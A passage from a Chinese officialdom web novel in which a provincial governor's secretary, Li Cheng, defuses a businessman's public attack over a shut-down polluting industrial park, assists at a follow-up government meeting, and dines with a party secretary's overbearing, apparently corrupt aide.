要知道,对于他们的工厂停工困境,政府已经开始帮助出面解决,化解他们的危机。 并没有在停工后,就坐视不理。 政府积极解决问题的事情,被他直接忽略不计,这就是颠倒是非! 可对此,政府却要积极面对。 毕竟,这么多双眼睛看着呢。 媒体在直播,来的这些医药企业,不仅仅有东江省本土企业,还有其他省的企业,这涉及东江省的颜面问题。 也涉及到东江省政府在全体企业和群众心中的形象问题。 “我刚才说过,吾月县工业园区是触犯了环保红线,关停是相应国家的政策号召。 但是,政府并没有对此做事不理,分管生态环境的郭副省长,已经在积极帮助你们解决问题。 对于工厂的上下游,政府在出面帮助调节,对于几万名员工,政府也提供了补助。 包括所有工厂企业的税收,土地费用,政府都给出了适当的减免政策! 对此,你身为企业主,应该是知情的,对于政府的积极态度,你应该也是很清楚的!” 孟良德没有任何妥协之色,一一应招。 这就是身正不怕影子歪的好处。 孟良德是一位尽职尽责的好省长,关于那些工厂,他给出了积极的解决方案。 所以,他才能这么有底气地讲话,经得起推敲。 “我们要的不是这些解决方案,我们做生意的,要的是盈利,我们的钱也不是大风刮来的,是从银行和各个地方贷出来的。 这些都是有利息的,长时间的停摆,会严重影响我们的资金链,可能会导致我们公司的破产!” 张云天继续发起进攻,一轮比一轮更加猛烈。 明摆着,就是为了让孟良德下不来台。 在他讲话时,已经有工作人员来到他的身边,对他进行劝止。 但对此,他的态度很强硬,还怒斥起工作人员:“你别碰我,怎么?我说实话不让吗?” “让他讲。” 孟良德摆了摆手,他知道,在这么多人的面前,这么多的镜头面前,就要针对问题解决问题,而不是解决发起问题的人。 “孟省长,当初我们产业迁至吾月县的时候,是你们政府承诺给修建集中污水净化站。 但到现在,污水净化站的影子都没有。 是你们政府承诺不到位,却要把污染的责任推脱到我们这些企业身上,您觉得这合理吗? 你们以财政问题,在净化站问题上一拖再拖,可今天呢,你大手一挥就是五个亿的医疗扶持专项资金。 如果你早拿出五个亿,我们至于把污水排放在田地里吗?” 这一番话,直接戳中了要害。 这一招,堪称杀招。 政府不是没钱修建污水净化站,这其中涉及到上任省长的遗留问题,两任省长的工作交接问题。 以及下属各个部门的懒政,推诿,以及财政分配等问题。 可这些问题,是政府的内部问题,是没有办法放在明面上去讲的。 就算讲了又能怎么样? 因为这些问题,本身就是政府的问题。 李承听到对方这淬了毒,带着刺的话,也不禁为孟良德捏了一把冷汗! 同时,他的大脑也在飞速运转,在换位思考角色。 他在想,如果自己是孟良德这个处境,自己身为一方领导,面对如此犀利的问题,该如何做出回答。 可是,任由李承想破了脑袋,他也没有想到一个可以圆滑解决此事,既让旭日化工的老板哑口无言,又让在场所有企业家和记者们认可的说辞。 这是一场较量,也是对一位领导能力和素质的考验。 李承在这一方面的经验和应对能力是欠缺的,所以,他也在等待孟良德的回答。 他想看看孟良德如何解决这件事,从中学习到经验! 第198章 秘书的作用 “张云天同志,你这个问题问得好,我想,这也是吾月县所有被停产的企业想问的问题。 我不回避,今天就当着在场所有企业,记者朋友的面,把这件事情说清楚!” 孟良德的目光犀利如剑,紧紧盯着张云天。 这个问题无法回避,可他仍强调自己不回避,是给在场所有人展现出一种政府会解决问题的态度。 “首先,省里从来没有忽视过你们这些企业,汉江是工业大市,汉江的今天,离不开你们这些企业的贡献。 虽说,如今省里励志与发展高精端企业,但却从未将你们这些老牌工业遗忘。 你们仍然是东江发展的中流砥柱,是东江经济政策的重点规划。 但是,时代在进步,形势也在变,环保标准越来越严了。 上一任省长只想建一座普通的污水处理站,把你们的污水实现达标就行。 可从我们目前来看,过去的达标线,在不久的将来,会被时代的新标准取代! 如果单纯的只建造一个污水处理站,为了应付那一直在提升的标准,就是自欺欺人,是浪费国家和你们这些企业的资源!” 孟良德的声音铿锵有力,字字句句,皆展现出省长的威严,以及一名省长的专业素养。 这些话,全部都是在没有准备的情况下,随机应变而出。 却能做到有理有据,逻辑清晰,抓住重点,这是常人很难做到的。 “孟省长,你讲的这些都是大道理,我听不懂,我要的是复工,是营业,这个错不在我们,是你们政府的问题!” 张云天冷哼一声,打断孟良德准备的继续发音。 对于他的打断,孟良德脸上依旧挂着让人洞察不到他情绪的笑容。 “我刚才说过,你们这些工业是东江省的中流砥柱,是省里经济发展的重点规划。 未来,你们的产能和经营规模,在政府的规划下,一定会得到上升空间。 但这也意味着,污水处理的负荷越来越高,污水的成分越来越复杂,这就不是一个简单的污水处理站可以解决的。 我们不能一直被‘治污’的问题牵着鼻子走,更不能一个个顶着‘污染大户’的帽子,三天两头被关停。 所以,政府一直在规划着,如何从长远的角度解决问题,既能保证所有企业的稳定发展,又要保证污染得到治理。 而且,我可以非常负责任地告诉你,规划已经在落实中!” 孟良德将利害关系讲出,也将问题情况以一种委婉的方式,推了出去。 其实,污水处理站未建设,根本原因是上任省长李雪忠的问题,其中涉及了腐败,违规操作等问题。 这些问题,是不能当着媒体和众人面前讲的,这涉及政府形象。 所以,孟良德只能另找借口。 他的借口,在李承看来,至少是可以站住脚跟的。 但李承也十分清楚。 眼下,他需要做一些什么了。 张云天来者不善,就是奔着抹黑孟良德去的。 尽管孟良德见招拆招,可毕竟,总怕出现些什么差错。 在这种突发事件上,作为省长的专职秘书,就要替省长分担工作了。 在所有人注意力集中孟良德的讲话时,李承从后方走到了许梦的身后。 在许梦的耳边轻轻呢喃了几句,交代了自己的想法。 并且非常认真地嘱咐了一句:“一定要在张云天开口之前,打断他!” “放心。” 听完李承的交代,许梦冲他点了点头。 “孟省长您好,我是东江省电视台的许梦,刚才您提到了吾月县的排污问题,我也有几个问题想请教您。” 孟良德的讲话结束,正当张云天准备继续开口时,许梦抢先一步,打断了他。 “请讲。” 看到许梦接过话题,孟良德微皱的眉头得到一丝舒缓。 刚才台上应答的那几分钟,对他来说,也是如坐针毡。 “我想问您的问题,也一定是那么工厂企业家们最关心的问题,就是在污水问题解决之前,这段时间怎么办? 难道一直都要关停吗?还是政府有其他解决办法?” 许梦的问题看似也是直逼要害,但这恰恰这是李承交代给许梦这么说的。 因为这个问题,孟省长那边早就有了解决办法。 “关于解决污染问题之前的复工问题,政府早已经有了解决对策,由政府出资,采购一批水罐,进行存放污水。 再运输到距离最近的污染水处理厂进行处理,在新的污水净化站建成之前,这些存放费,运输费,处理费等任何费用,皆有政府出资。” 孟良德给出了一个能够令在场所有人,都觉得满意的答复。 眼下的关系,不是让那些吾月县的企业主得到满意,而是让在场众多企业家,以及记者认同。 他们认同了孟良德的解决办法,这件事的危机才算化解。 至于那些吾月县企业的问题,等下了台,走到了幕后,怎么去谈,主动权在政府。 “孟省长,您的解决办法和负责的态度,我想这些企业们一定会满意,也一定会被政府的诚意打动。 正如您说,现在环保越来越严格,未来我们省应该如何应对....” 许梦的问题,已经通过吾月县的污染问题,转移到了全省政策上。 这就是在逐步地化解危机,将话题引开。 而在许梦询问,以及孟良德做出回复的同时,李承来到了张云天的身边。 李承知道,对方一直不死心,他应该是收了花海集团的好处,准备咬住孟良德不放。 所以,李承也阻拦他接下来的干扰。 “张总,出去抽根烟?”李承笑嘻嘻地走到他身边,说。 “你谁呀,我认识你吗?”张云天瞥了李承一眼,道。 “爸,这位是孟省长的秘书。” 就在这时,李承才发现张云天不是一个人来,他儿子张洋就坐在他身边。 “哦。” 听到李承的身份,张云天应了一声,冷哼道:“我的问题还没有问完,我还要跟孟省长对话!” 第199章 分寸 “张总,人要懂分寸,识大局,孟省长已经在积极解决这件事了,这事情的原委是什么,你也比任何人都清楚。 你经商这么多年,不要被一时的利益,蒙蔽了眼睛。” 李承低声提醒道。 事情的根本问题,出在上任省长李雪忠的身上,这些,他们这些商人都很清楚。 而且,孟良德虽然停了他们的工厂,但也积极与他们进行沟通,调整。 从来没有对他们放任不管。 张云天今天到场,公然跟一省之长唱反调,就是被利益驱动。 李承这也是在提点他,要为大局为重。 而所谓的大局,自然不是东江省的颜面问题,张云天没那么大的格局。 李承让他识大局,识的是他们企业的大局。 公然跟孟良德叫板,下场是什么,他应该考虑清楚。 孟良德为人正直,对张云天不会刻意针对。 如果换做是李雪忠在任,张云天公然唱反调,他的旭日化工一定会在吾月县,乃至整个东江省除名。 并且,绝对不会有善终。 得罪一位省长,这一点,张云天也是要掂量掂量的。 看到张云天面露迟疑,李承再次开口:“该做的你,你做了,也要懂得适可而止,不是吗?” 李承这句话,同样是在隐约地暗示他。 李承笃定他的背后有花海集团的指使,这才告诉他,要懂得给自己留一条后路。 张云天没有讲话,目光看向了主席台的方向。 孟良德和许梦的互动已经结束,主持人已经将话筒转递给了恺奥医疗的董事长石山水。 对方也在介绍着自己那台320排的高端CT机。 显然,张云天已经错过了最佳向孟良德发难的时机,他也知道,如果这时旧事重提,不仅会彻底惹恼孟良德,还可能被狼狈的清楚会场。 于是,他对李承说:“李秘书,烟就不抽了。” 说完,他又看向了自己的儿子张洋:“咱们走吧。” 看到对方准备罢手,李承心中松了一口气。 虽说,这场医药推进会开的很波折,好在,也得到了解决。 只要孟良德讲过话,他们就很难再找到对孟良德发难的机会了。 “抽个烟吧。”李承说。 “嗯,也行。” 说罢,三个人一同走出了会场,来到外面空旷的地方。 李承掏出香烟,分别发给了张云天和张洋。 两个人接过香烟后,张云天掏出火机,给自己点燃后,对张洋说:“你去把车开到门口。” “好。”张洋点了点头,给李承和张云天留足空间。 李承也点燃了香烟,吸了一口,没有开口。 他在等张云天开口。 眼下,最迫切缓和关系的人,不是李承,而是张云天。 目前来说,危机已经解除了,李承其实都不需要再关注张云天。 他找张云天出来,是给张云天机会,也是想知道一些实情。 “李秘书,我知道做的这些,可能会面临什么,但我有我的苦衷。”张云天道。 “你的苦衷是什么?”李承问。 “这个我不能说,但其实,在针对孟省长的问题上,我也是有留手的,关于滨西重大矿难事件,我没有提。 希望你和孟省长,能看在这个份上,不要太为难我的企业。” 张云天说得很实在,没有任何的委婉。 他怕孟良德和省政府会秋后算账,一个私人企业,规模也不算太大,想跟政府对抗,那无异于是以卵击石。 所以,张云天留了后手。 他也很清楚,如果当着这么多人,当着媒体的面上,把滨西矿难的事情提出来。 那么,就等于跟省政府彻底撕破脸。 而且,问题也就不是企业排污的问题,有非常明显的刻意针对嫌疑。 “你这是一个明智的选择。”李承弹了弹烟灰,淡淡地说。 孟良德正直,但不代表他没有脾气,没有手段。 能做到省长位置上的人,又有谁是任人欺负的主呢? 张云天敢说滨西矿难,那么,就算其他企业都复工,他的企业也无法复工。 就算不在排污问题上针对他,什么消防,纳税,劳务,银行贷款等等,各种各样的事情,都可以对他进行卡脖子。 想要将张云天打拼多年的事业逼上死路,对于孟良德来说,太简单不过。 张云天他们离开不久,孟良德也走下了主席台。 孟良德的演讲已经结束,为了以防花海集团再有准备,这个时候,离开会场是最好的方式。 省长的二号专车缓缓驶离了会展中心。 后排,孟良德倚靠上座椅上,点燃了一根香烟。 孟良德基本不会在车里抽烟,这一举动让李承察觉到,刚才孟良德在台上的镇定表现,对他来说,也是如坐针毡。 “李秘书,这件事你做得很好,许梦的提问,解决了很大的麻烦。”孟良德吸了一口烟,对李承表示了认可。 李承走到许梦身后的交谈,孟良德看在了眼里。 他也知道,许梦的及时救场,背后有李承的交代。 如果不是许梦救场及时,任由张云天继续咄咄逼人下去,保不准真会把滨西矿难的事情牵扯出来。 别看张云天嘴上说,是他留了情,懂了分寸。 但也可能是没来得及开口,他给自己找的台阶。 “这都是我的分内之事。” 对于孟良德的夸赞,李承不骄不傲。 “老板,他们这次是真的准备动杀招,刚才张云天私下跟我说,那边还交代他讲滨西矿业的问题。 只不过,他不想跟政府部门闹得太僵,也只是想把排污的问题解决,所以并没有开口。” 李承将情况汇报给了孟良德。 话语之间,既为张云天进行开脱,也给花海集团又加了一双‘小鞋’。 张云天是被人当枪使了,从大局的角度看,没有必要针对他。 政治是不夹杂任何感情的,一切为了利益最大化。 张云天的事情已经过去了,他的企业能够给政府提供税收,就业岗位,那就要留下来。 如果一位领导者,因为个人的情绪,去做出违背利益最大化的决定,那他一定不是位合格的政治家。 第200章 反对意见 回到省政府。 李承开始根据孟良德在车上部署的工作,进行安排。 他的第一个电话,打给了省办公厅主任王民。 “喂,王主任,省长指示,下午两点前,让财政厅,生态环保厅,经信厅,把自工业园区迁移至吾月县后的税收,环保投入,未落实的项目清单报过来。 下午三点,让这三个部门的负责人,以及汉江的刘市长到常务会议室来开会。” “好的李秘书,我这就去通知。” 得到李承的传达,王主任连声应下。 挂断电话,李承紧接着又打给了徐铁生的秘书,许佳明。 ‘嘟..嘟..嘟...’ “喂,李秘书。”电话接听,许佳明说。 “许秘,下午三点,孟省长要在常务会议室召开会议,请你转达给常务副省长。”李承道。 “好。”许佳明答应。 紧接着,他又打给了省委网信办,让对方加强舆情管制,做好信息管控。 一连打完三通电话,工作部署才结束。 虽说,在医药推挤会上,孟良德可以顺利脱身,并没有落得狼狈离场的解决。 但是,这件事已经发生,心怀不轨的人,还可能借机开展连锁针对。 省里需要在最短的时间内,规避所有的风险,安抚好吾月工业园区的企业主们。 在解决污染排放的前提下,让他们尽快复工。 下午两点。 经信厅,生态环保厅和财政厅将资料递交到了李承手里。 李承快速将主要信息浏览一遍,这才敲响了省长办公室的门,将资料递了上去。 “省长,关于吾月工业园区的资料,已经送到了。”李承双手递给孟良德,道。 “嗯。” 孟良德接过资料,开始认真地看了起来。 这些资料李承提前扫了一眼,工业园区的税收也非常可观,唯一的问题,就是出在了环保投入上。 在环保投入方面,政府部门已经投入了两个亿修建污水净化站,可最后,这两个亿却修成了烂尾工程。 其中有没有贪污腐败问题,不言而喻。 “孟省长。” 就在这时,杨兆华也走了进来,在他的手里同样拿着一份资料:“这是您让我查的企业资料。 这家名为汉江星图的设计公司,就是一个空壳子,那笔巨额设计费最终流向了一个叫李风的人。 这个李风跟李雪忠的关系很不一般,论起来,李雪忠应该是他远房的叔。” 听到这里,李承也就心知肚明了。 这笔钱,九成是李雪忠通过运作,公报私囊了。 “哼。” 听到李雪忠的名字,孟良德轻哼一声:“看来,对于这位同志的查处,还是不够彻底呀!” 从孟良德的眼神来看,李承清楚,孟良德可能准备再对李雪忠来一次秋后算账。 ...... 下午三点,省政府常务会议室内,孟良德召开了一场紧急会议。 省长孟良德,常务副省长徐铁生,分管生态环境的副省长郭涛,以及分管工业的副省长刘富江,全部到场。 除此之外,还有省政府秘书长,以及经信厅,生态环境厅,财政厅等负责人,也都进入参会。 “今天叫大家过来参加这个会议的目的,想来,你们心里也清楚,就是关于吾月县工业园区的排污和复工问题!” 孟良德开门见山,没有任何的拖泥带水。 李承则全程坐在后面,进行会议记录。 会议的内容,主要围绕着如何解决吾月县当下难题作为主题。 而这个主题,今天在医药推进会上,孟良德就已经提出来了。 那就是,以政府出资,采购一批污水灌进行装载,通过运输到其他处理站的方式,进行销毁。 以这种方式作为过渡,在这个期间,进行污水处理厂的建造。 “这个方案,我已经跟省委的洪波书记商议过,省委也表示支持,大家有什么疑义吗?” 孟良德的目光环视众人,问。 省政府有掌管财政,手里握着‘钱袋子’,一般几千万的资金动用,孟良德一个人就能拍板。 但省委掌握着决策权,涉及几个亿,甚至于十几亿的投资,必须要跟省委书记通气。 孟良德在今天早上参加医药推进会前,就跟马洪波通过气,马洪波也给予了支持的态度。 这才是孟良德在推进会上,面对采访,那么有底气地说出解决方案的原因。 省长和省委书记达成共识,底下人的疑义可以忽略不计,也起不到什么作用。 所以,孟良德这压根就不是询问他们的态度,而是通知。 “我有不同的观点,觉得这件事还需要妥善处理。” 其余人纷纷摇头,表示认可孟良德时,常务副省长徐铁生淡淡地开了口。 他其实很清楚,他的反对改变不了决策。 但他这么做,也有自己的政治目的。 如果单纯提出异议,是为了恶心一下孟良德,那就太小儿科了,他这么做,是为了给孟良德添一个‘一言堂’的帽子。 以后在某个会议上,可以作为攻击孟良德的方向,来动摇省委常委的决策。 “铁生同志,你讲。” 孟良德眼神淡漠地看向徐铁生,说。 “我觉得,用存储灌运输的方式解决眼下的难题,不是最佳方案。 首先,采购成本,运输成本极高,这么多大车来往,对于道路的损失,交通的堵塞等一系列潜在因素很多。 我核算过,如果按照你的方式去做,这一年就要给政府造成三个亿左右的损失。”徐铁生道。 “那么,铁生同志你有更好的解决方案吗?”孟良德提出询问。 “目前没有,但我相信,一定会有更好的解决方案,这件事,我们可以从长计议。”徐铁生说。 “从长计议?政府能等得起,那些企业和上万个工人家庭能等得起吗?” 孟良德轻哼一声,开口反驳:“耽误一天工期,你知道对于所有企业造成多少的损失吗? 我们眼下,不能只考虑政府的利益,要以企业和民众的利益为主。 如果现在没有人能拿出其他更好的方案,这个方案就要尽快执行!” 第201章 经济 对于孟良德提出的方案,李承也分析过,从目前而言,在解决环保问题作为基础上,这个方案的可执行最高。 可以最快速地解决企业复工问题,帮助企业挽回损失,帮助几万个工人参与劳动。 运输以及后期的道路维修,都能提供一些就业岗位,推动小部分的经济发展。 “孟省长和洪波书记已经决定了,直接下文件就可以了。”徐铁生摆出一副玩世不恭的样子,说。 这话里藏着话,暗自孟良德搞‘一言堂’,多余询问其他人的意见。 “铁生同志,工业迁移时,就是以配合上任省长完成的,关于这次的污水处理问题,也由你亲自负责。 这件事要尽快落实,让企业尽快复工!” 孟良德直接将这一重任交给了徐铁生。 徐铁生作为常务副省长,给孟良德分担这些压力,是他工作的分内之事。 可徐铁生向来跟孟良德不对付,对方又是‘本地派’,在这种关头,孟良德将‘排污’和‘复工’的重任交给他。 这其中就有些耐人寻味了。 “孟省长,这件事交给郭涛同志和富江同志就可以,我分管的核心是经济和政务运转,也没那么多的精力。” 徐铁生推诿道。 他很清楚,孟良德就是想借助他,来踏平所有的阻碍。 排污和复工的问题上,若是有心人想要操作,给政府继续造成麻烦,绝对是有可乘之机。 孟良德安排别人去做,或许会遇到更多繁琐的问题,因为,这其中涉及到了政治斗争。 但如果让徐铁生去负责,那么,解决问题相对容易一些。 徐铁生的政治派系,以及他在东江省多年的政治根基在这里摆着呢。 而徐铁生也一定会全心全意地负责。 毕竟,孟良德让他主要负责,如果做不好,他是要担主要责任的。 他作为常务副省长,是东江省政府名副其实的二把手,他的身份有资格顶替孟良德担任主责。 这样的安排下,孟良德就能将自己从这场‘污染漩涡’中抽身。 “孟省长,我也觉得让徐省长负责不妥,省里很多工作都以徐省长为中心....” 这时,杨兆华也开口替徐铁生讲话。 但没等他说完,孟良德挥手将他打断,目光看向徐铁生。 “哎,铁生同志,现在省里的主要难题就是吾月工业园区的复工问题,我对于这些企业不了解。 你是省里的老同志,老领导的,没有人比你更能胜任这件事,就不要推脱了。 这件事结束,我自掏腰包,亲自给你摆庆功宴!” 孟良德已经打定主意要让徐铁生负责,又怎会轻易地放过他。 “嗯,那好吧。” 话已经说到了这个份上,徐铁生也清楚孟良德不肯作罢,知道硬着头皮答应。 接下来,这场会议又开了一个多小时。 孟良德对各个部门都分别作出的安排,这才散会。 当孟良德宣布散会后,徐铁生第一个站起身,铁青着脸,离开了会议室。 看着他的表情,李承没来由地觉得好笑。 ..... 今晚,李承在省政府加班加点到了十点多才下班。 “今天怎么下班这么晚?” 回到家,许梦正窝在沙发上耍手机,看到李承回来,立马起身小跑过去,将李承抱住。 “排污和复工问题是眼下的关键,省里在加班加点去执行,省长没都没下班,我当然要陪着。” 李承将下巴搭在许梦的肩膀上,轻轻嗅了嗅她身上的香气。 折腾了一天,他的精力也已经耗空,很是疲惫。 在这种时候,能够依偎在爱人的温暖怀抱里,李承的心里很满足。 “最后拍板怎么解决了吗?我后台很多粉丝还在我的视频评论区询问这件事呢。”许梦扬起下巴,温柔地问。 “解决方案,在推进会上,老板已经说过了呀,就按照那个执行。”李承道。 “很多粉丝说,那就是孟省长在会议上的权宜之计呢,不可能那么执行。”许梦说。 “为什么这么说?”李承随口问道。 “他们可分析得头头是道,说那样的损耗太大,对于政府的财政负担重,政府宁愿继续搞污染,也不会花冤枉钱去运污水。 他们说的可有道理了,说环保是个噱头,是为了应付国家政策,哪个领导也不愿意把钱浪费在这种没有政绩的事情上。” 许梦说着,拿出自己的手机,把评论区翻开给李承看。 李承看了一眼,那条分析的评论,点赞数还很高,底下还有不少人回复。 “嗯,徐铁生也反对这件事,但老板和洪波书记的态度很坚定,环保是底线。” 李承一边翻看着评论,一边说。 “那这么说,评论说得也很有道理呗,这笔投入是浪费吗?”许梦问。 “不是,这笔钱政府花出去,就一定会有受益人,经济是一个循环,至少,能够促进一小部分的经济推动。” 李承耐心地向许梦解释:“前些年,为什么百姓认为大环境好,觉得挣钱没那么难。 那是因为政府在大力搞基建,能够提供很多的就业岗位,让很大一部分人从中获利。 这些人获利之后,消费自然也会提升,就会带动各个行业的发展,形成一个大循环。 而近两年,大家都在抱怨经济不好,其实不是国家经济不好,而是大基建的时代过去了。 相比于大基建时代,科技时代赚钱的门槛提高了,能赚到钱的人变少了,大家消费自然也就下降了。 消费一旦下降,很多行业也就连带着变得不景气,行业不景气,就会节省消费,出现一种偏恶性循环。 这也是为什么近年来,国家一直在搞补贴政策的原因,为的就是促进消费,盘活经济。 这个运输投入,在某种程度上,是可以促进一小部分的经济运转的,这笔钱投入进去,既能解决污染和复工问题,还能变相地促进下经济,是好事。” 关于李承的讲述,许梦听得十分专注。 直到李承讲完他对经济的分析,许梦仍是意犹未尽:“哦,原来是这样。” 第202章 张秘书的邀约 常务副省长徐铁生,亲自去负责吾月县的排污和复工问题。 在他的权威之下,一切进展十分顺利,没有出现任何的纰漏。 各个涉及‘排污’问题的企业,也全部跟政府达成了一致协议,愿意配合政府的工作安排。 ‘嗡嗡嗡...’ 这天中午下班,李承陪同孟良德在东兴面馆吃抻面时,他的手机震动了起来。 “老板,我去接一个电话,是马老板身边的张秘书。” 李承放下筷子,对孟良德说了一句。 因为是在面馆里,李承不能直接提对方的名字,所以委婉地表达了一下。 所谓的马老板,就是省委书记马洪波。 这通电话,是马洪波的秘书,张英双打来的。 “嗯。” 在孟良德答应后,李承起身出了面馆,接通的电话:“喂,张处长。” “李处长,在忙吗?”张英双询问道。 “不忙,你说。” “是这样,我晚上想请你吃个饭,可否赏脸?”张英双道。 李承略微沉吟,想了一下今天的工作安排,确定晚上有时间后,说:“如果晚上老板没有其他指示的话,我一定到。” 省委书记秘书的邀请,李承要给面子的。 他才是真正流传中的‘二号首长’。 别说是李承,除了几个省委常委之外,放眼全省也没有会轻易驳了他的面子。 “理解,饭店就定在牡丹会,我等你的电话。”张英双笑呵呵地道。 他也是秘书,很清楚李承的诚意。 毕竟,身为秘书,老板的工作永远是第一位。 “嗯,好。” 挂断电话,李承重新走回面馆,快速地吃起面,追赶孟良德吃面的速度。 身为秘书,吃饭不能比省长慢,不能让省长等。 结完账,出了面馆,孟良德问:“他找你什么事情?” 李承没有第一时间做出汇报,就证明不是什么紧急的公事。 “他说晚上想请我吃个饭。”李承如实说。 “嗯,你们之间可以多走动走动。”孟良德道。 “好。” 李承点头,陪着孟良德散步在街道上。 “最近还有没有关于吾月工业园区的信访?”孟良德随口问道。 在他们两个人散步期间,王师傅开着专车,一直在后面怠速跟随。 “没有。” 因为担心吾月县出问题,李承一直都在留意着吾月县的动向。 这些天,徐副省长亲自负责这件事后,吾月县格外消停。 “呵呵...铁生同志还是很有威慑力的嘛。”闻言,孟良德意味深长的笑了笑,道。 “还是老板您高明,徐副省长在治理这方面,还是很有手段的。”李承附和着孟良德说。 提起此事,李承也是打心眼里佩服孟良德。 这件事,无论安排谁去做,哪怕是孟良德亲自下去督办此事,也未必会如此顺利! ..... 晚上下班。 李承联系了张英双,并驱车来到了牡丹会。 “李处长,来得很快嘛。” 李承停好车,刚下来,正好碰见了张英双。 他的车非常豪横地停在了饭店大门口,下车后,冲李承笑着挥了挥手。 “下班第一时间就往这边赶了,这不,衣服都没换呢,呵呵....”李承走到张英双的身边,笑着说。 他看似随意的话,却是在表达对这场饭局的重视,对张英双的重视。 “张总好。” “李总好。” 就在这时,一名保安走了过来,对着张英双和李承敬了一个礼。 “把车挪过去。” 张英双把车钥匙丢给了保安,十分高傲地说。 “好的张总。” 保安接过车钥匙,拉开车门便准备进入车内。 看到这一幕,张英双的眉头瞬间皱起,语气严厉:“等一下!” “怎么了张总?”保安一脸懵地看着他。 “你是新来的?”张英双问。 “是的张总。”保安点头。 “你们队长没有跟你说清楚我的习惯吗?”张英双质问道。 “没...没有。”保安尴尬地说,看向张英双的眼睛里,充满了畏惧。 在牡丹会有一条规定,入职的员工,上到经理,下到服务员,保安,都是要经过严苛的培训。 而培训中有一项重点,就是认识所有领导高干的面孔。 这也是为何这名保安能够喊出李承和张英双的原因。 “让一个懂规矩的来!”张英双严厉地下达命令。 “嗯,好。” 保安见状,连连点头。 他们都是社会的底层人,在他们眼里,像张英双,李承这些能够被饭店列入格外重点名单上的顾客,那都是他们得罪不起的大人物。 保安小跑回去,很快,另一个保安急匆匆地跑了过来:“张总,那是新来的,不懂规矩,您别跟他一般见识啊。” 说着,这名保安拉开了车门,将一个一次性的塑料套,套在了主驾驶的位置上,又当着张英双的面前,拆开了一个崭新的白手套,这才上了车。 “现在这个牡丹会,越来越没规矩了。” 张英双冲李承笑了笑,做出一个请的手势:“请吧。” “一起。” 李承也回了一个请的手势,这才跟在他的后面,走进牡丹会。 “张总,李总,您们的贵宾间在这边。” 饭店经理立马笑脸相迎,给两个人指路。 “小黄呀,不是我说你们啊,你们饭店现在是越来越不重视我了呀,我的规矩都忘在了脑后。 把你们陈总给我叫过来!” 张英双依旧不依不饶,直接让对方去叫陈锋。 陈锋是这家饭店的老板,因为一个挪车的小事,去把对方老板叫过来训话,也是让一旁的李承倍感尴尬。 柳思瑶说过,他们省委的‘二号首长’为人非常的张扬跋扈,除了几位领导之外,不把任何人放在眼里。 李承最开始觉得柳思瑶是夸大其词,因为几次见面下来,也都是在工作单位里,感觉张英双这个人不难接触。 可今天一见,李承是开了眼。 李承突然觉得,柳思瑶对他的评价还是过于保守了。 张英双这种举动,分明就有一种小人得志的架势,跟在他身边走路,李承都觉得有些丢脸。 第203章 跋扈的张英双 “我们陈总在....” “你也不懂规矩是不是了?不管他在干什么,叫他来见我!” 黄经理还要解释,张英双眼睛一瞪,对方不敢再吭声,连连点头:“好的张总。” “李处长,你看看想吃什么?” 进入包厢,张英双将菜单递给李承。 “你看着点,我客随主便。”李承微微摇头,又把菜单给推了回去。 “嗯,那行。” 张英双应了一声,也没有去翻开菜单:“就按照老一套上。” “好的,张总。” 黄经理微笑答应。 在看到张英双冲她摆了摆手后,她如释重负般地退出了包厢。 “有些人就跟狗一样,记吃不记打,就得时不时地敲打几下,才能长记性!” 张英双翘起二郎腿,掏出一盒香烟,递了一根给李承。 这是一盒大重九,一百块钱一盒的烟。 这可比李承的标准高出了一大截。 李承不频繁抽烟的人,兜里揣着的,也就是四十块钱的徽商。 也还是因为孟良德抽徽商,揣着给省长备用。 要是他自己的话,他就只抽二十多块钱的南京。 “谢谢。” 李承接过香烟,从口袋中拿出打火机,给自己点燃。 他没有去恭维张英双,去给对方点火,这根本也没有必要。 虽说,对方服务的是省委书记,是一把手,但李承也不差,没必要去刻意讨好,丢了自己的身份,也丢了孟良德的脸。 “吾月县的排污问题,处理得怎么样了?老板一直很关注。”张英双吸了一口烟,淡淡地问。 他这属于是闲聊,因为吾月县的情况,政府已经向省委做出过汇报。 “解决得差不多了,一切都很顺利。”李承说。 “嗯,那就好。” 张英双弹了弹烟灰,摆出一副领导者的架势:“省委对于你们这次在医药推进会上,应对突发事件的解决方式,很满意。 其中,李处长也有很大的功劳嘛,哈哈哈...” “谈不上什么功劳,这都是分内事。”李承谦逊地道。 但在他的心里,对于张英双的好感度再次降低。 张英双摆出了一副,省委凌驾于他们之上的感觉。 虽说,省委属于决策,政府属于执行,省委确实高于政府。 但从他一个秘书的口中说出来,给人的感觉就是很不好。 甚至让李承觉得,他这位省长秘书,也要服从张英双这位省委书记秘书的错觉。 但对于这种人,李承也不会跟他争辩什么,随口应付就行。 “哎,李秘书这就谦虚了,你让你女朋友打断对方谈话,替孟省长转移话题的事情,我们省委是知情的。” 张英双再次吸了一口烟,将还剩下的大半截香烟直接丢在地上踩灭。 “都是分内之事。”李承再次附和地回答道。 这些话,在李承看来太虚了,比张英双的肾还虚。 外加从停车到进门,张英双的种种表现,李承也不太想理会这个人。 只是出于官场的交集,李承还要迎合他。 两个人随意的聊天中,服务员开始上菜。 足足上了满满一桌子,什么帝王蟹,海参,鱼翅,应有尽有。 两个人,足足点了十二道菜。 “张处长,点这么多,是还有其他朋友吗?”李承试探地问。 他是担心张英双给他介绍一些什么不相干的人,去谈论一些让他难办的事情。 “没有,就我们两个人。” 张英双拿起筷子,说:“动筷吧。” “嗯。” 李承拿起筷子,看着满桌子的饭菜,心中暗骂这些腐败分子。 从这顿饭,李承就已经断定张英双是个腐败分子了。 这一桌子的饭菜,按照牡丹会的高昂价格,起码得上万块。 同为秘书,虽说张英双是正处级,但工资也不会比李承高太多。 而且,李承又不是什么重要人物,也不值得对方用将近一个月的工资,去宴请。 “这桌子饭菜,够丰盛了,我们两个人吃不完。”李承说。 “每次来都是这个标准。”张英双轻描淡写地道。 听他的意思,这顿严重超出李承负荷的饭局,就是张英双的家常。 这让李承在暗骂这些腐败分子的同时,也不禁感慨一句:同样都是秘书,这秘书和秘书的生活水平差距,也太大了! 感慨归感慨,但李承也知道,如果自己想,达到张英双这个消费水平也很清楚。 只不过,是需要付出自己的政治清白作为代价。 ‘咚咚咚...’ 就在这时,房门被敲响了。 陈锋笑呵呵地走了进来:“不好意思呀,张处长,我刚才跟几个老板谈点生意,耽搁了。” 他先是向张英双说明情况后,这才对李承挤出了一抹微笑:“李处长。” “嗯。” 李承回以一笑。 可张英双对于陈锋的话,就像是没听见呀,继续吃着饭。 甚至没有用目光,看过陈锋一眼。 “张处长,我已经了解了情况,是手下人做事不周到,我已经严厉地训斥过了,人我也叫过来了。” 说着,陈锋拍了拍手:“进来。” 